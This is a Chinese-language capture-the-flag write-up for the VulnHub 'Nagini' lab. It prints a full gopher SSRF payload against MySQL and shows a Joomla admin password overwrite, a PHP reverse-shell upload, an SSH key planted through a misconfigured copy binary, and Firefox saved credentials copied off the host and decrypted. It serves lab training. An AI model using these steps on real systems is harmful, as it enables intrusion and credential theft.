[VulnHub] Nagini

一、靶机介绍

名称:Nagini

发布日期:29 Apr 2021

Download (Mirror): https://download.vulnhub.com/harrypotter/Nagini.ova

二、环境搭建

导入虚拟机后,

kali添加新网卡

kali使用双网卡,如果kali获取不到IP,那么请在宿主机上进行配置

同时选中俩个网卡,进行桥接

主机发现

sudo arp-scan -l -I eth1

三、渗透测试

1、信息收集

端口扫描

sudo nmap -p- 192.168.56.109
sudo nmap -p22,80 -sC -sV 192.168.56.109

首页仅仅只有一张图片

子目录扫描

dirsearch -u "http://192.168.56.109/"
/joomla/
/joomla/administrator

发现配置文件

	public $debug_lang_const = '1';
	public $dbtype = 'mysqli';
	public $host = 'localhost';
	public $user = 'goblin';
	public $password = '';
	public $db = 'joomla';
	public $dbprefix = 'joomla_';
	public $live_site = '';
	public $secret = 'ILhwP6HTYKcN7qMh';
	public $gzip = '0';
	public $error_reporting = 'default';

通过端口扫描的信息,数据库应该不让远程访问。

文件扫描

dirsearch -u "http://192.168.56.109/" -f -e html,php,txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
http://192.168.56.109/note.txt

2、HTTP3

看提示,需要使用http3请求该网页

项目地址

https://github.com/cloudflare/quiche

https://zhuanlan.zhihu.com/p/444332157

https://zhuanlan.zhihu.com/p/431672713

安装步骤

proxychains git clone --recursive https://github.com/cloudflare/quiche
cd quiche
sudo apt-get update
sudo apt intsall cargo
sudo apt install cmake
cargo build --examples
sudo apt purge rustc
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
1              											 #执行上面这条命令过程中 需要进行一个选择,输入1即可
source $HOME/ .cargo/env
cargo build --examples
cargo  test           									  #如果测试一切正常就可以开始使用这个浏览器了
-------------------------------------------------------------------------------------------------------------------
cd  quiche/target/debug/examples           				#进入客户端所在目录
./http3-client https://quic.nagini.hogwarts					#使用该客户端访问
http://quic.nagini.hogwarts/internalResourceFeTcher.php

经过测试,发现存在SSRF漏洞

使用工具查看数据库

https://github.com/tarunkant/Gopherus

python2 gopherus.py --exploit mysql

经过测试,可以获取到user表内的数据

http://quic.nagini.hogwarts/internalResourceFeTcher.php?url=gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a5%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2567%256f%2562%256c%2569%256e%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2527%2500%2500%2500%2503%2575%2573%2565%2520%256a%256f%256f%256d%256c%2561%253b%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%256a%256f%256f%256d%256c%2561%255f%2575%2573%2565%2572%2573%253b%2501%2500%2500%2500%2501

解密不好解密,可以直接修改密码进行操作。

┌──(kali㉿kali)-[~/Desktop/Gopherus]
└─$ echo "luzesec" | md5sum
74cc1c60799e0a786ac7094b532f01b1  -

use joomla;update joomla_users set password="74cc1c60799e0a786ac7094b532f01b1" where username="site_admin";

3、joolma后台getshell

http://192.168.56.109/joomla/administrator/
site_admin/luzesec

成功进入后台

找后台模板位置上传

然后访问测试下

http://192.168.56.109/joomla/templates/protostar/luze.php

本地开启监听,使用php反弹shell

find / -type f -name "*.txt" 2>/dev/null | grep "share" -v
/var/www/html/horcrux1.txt
/home/hermoine/horcrux2.txt

第二个没权限

cat /etc/passwd

发现.ssh目录没权限,.creads.txt有权限读

base64解码之后,应该是snape的密码

snape  Love@lilly

成功登录

4、提权到hermoine账户

在其目录下发现/bin/su_cp文件

可以发现这是一个copy文件的命令

可以尝试在本机生成ssh密钥,进行登录操作

简单点说公钥登录就是 自己生成密钥对(即公钥和私钥),私钥自己保留,公钥可以放在自己想用ssh登录的主机,这样用ssh登录时就不需要密码(实际流程比较复杂,这里就这样理解就可以了)

kali攻击机上输入
1.ssh-keygen
生成密钥对(默认生成路径在/root/.ssh),这里一直回车即可生成,会生成一个id_rsa(私                        
钥)和id_rsa.pub(公钥)
 
2.scp /root/.ssh/id_rsa.pub snape@192.168.56.109:~/  
将公钥投递到目标机器,这里因为hermoine用户我们不知道密码,暂时无法连接,所以就先投递到snape用户下,这里的~/目录其实就相当于/home/snape目录
 
再控制目标的终端输入
3.chmod 640 id_rsa.pub
赋予公钥执行权限,注意这里要先进入/home/snape才能看到公钥
 
4.mv id_rsa.pub authorized_keys
改公钥的文件名,这是规定,不然会连不上
 
5./home/hermoine/bin/su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
使用su_cp把snape上的公钥放到hermoine用户的ssh文件下,这个命令输入后可以查看一下/home/hermoine/.ssh/是否有该文件

然后kali进行登录

ssh hermoine@192.168.56.109

四、权限提升

提权信息收集的时候,发现了主目录下有个.mozilla的目录,这个文件里面包含有火狐浏览器各种信息乃至账密。恰好github上也有专门提取该文件信息的工具——Firefox Decrypt,所以我们把他下载下来再用这个工具提取一下信息看看

项目地址

https://github.com/lclevy/firepwd

下载安装依赖

将 服务器上的 .mozilla文件夹下载到本地

具体步骤如下

1.scp -rp hermoine@192.168.56.109:/home/hermoine/.mozilla/firefox /home/kali/Desktop
下载该文件到kali攻击机
 
2.git clone https://github.com/unode/firefox_decrypt.git
下载firefox_decrypt工具
 
3.cd firefox_decrypt
进入工具文件夹
 
4.python3 firefox_decrypt.py /home/kali/Desktop/firefox
执行脚本,读取数据

这样其实就已经拿到root的密码了